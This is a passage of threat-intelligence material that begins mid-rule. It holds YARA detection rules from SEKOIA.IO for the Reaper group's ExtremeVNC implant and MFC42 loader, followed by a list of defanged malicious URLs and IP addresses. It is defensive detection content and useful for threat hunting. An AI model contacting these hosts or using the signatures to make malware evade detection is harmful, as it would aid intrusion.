"1.0"malware = "ExtremeVNC"intrusion_set = "Reaper"description = "Detects ExtremeVNC implant (Reaper)"source = "SEKOIA.IO"creation_date = "2023-03-09"classification = "TLP:WHITE"strings:$ = "--myboundary--"$ = "COntent-Transfer-Encoding: 8bit"$ = "CLIP_REQ"$ = "SC_REQ"$ = "BROWSER_REQ"$ = "Unknown-PC"condition:uint16be(0) == 0x4d5a andfilesize < 1MB and4 of them}rule apt_Reaper_MFC42_Loader {meta:id = "23a3eaff-2813-48a2-91c6-c5bc1c0873ac"version = "1.0"intrusion_set = "Reaper"description = "Detects MFC42 loaders (Reaper)"source = "SEKOIA.IO"creation_date = "2023-03-09"classification = "TLP:WHITE"strings:$ = {50 68 01 00 00 00 B8 4D 3C 2B 1A FF D0}condition:uint16be(0) == 0x4d5aand filesize < 2MBand all of them}
http://141.105.65[.]165/data/*http://141.105.65[.]165/files/*http://141.105.65[.]165/main/*http://141.105 .65[.]165/support/*http://attiferstudio[.]com/install.bak/sony/*http://ri-guard[.]com/download/temp/cn-var/*http: //koaagj.co[.]kr/files/2014/12/fix/*http://jdwanxiang[.]com/win/shenti/*https://clovery-shapes.000webhostapp[.]com/defcon/ *http://hk-law.co[.]kr/data/file/joomla/*http://172.93.193[.]158/data/*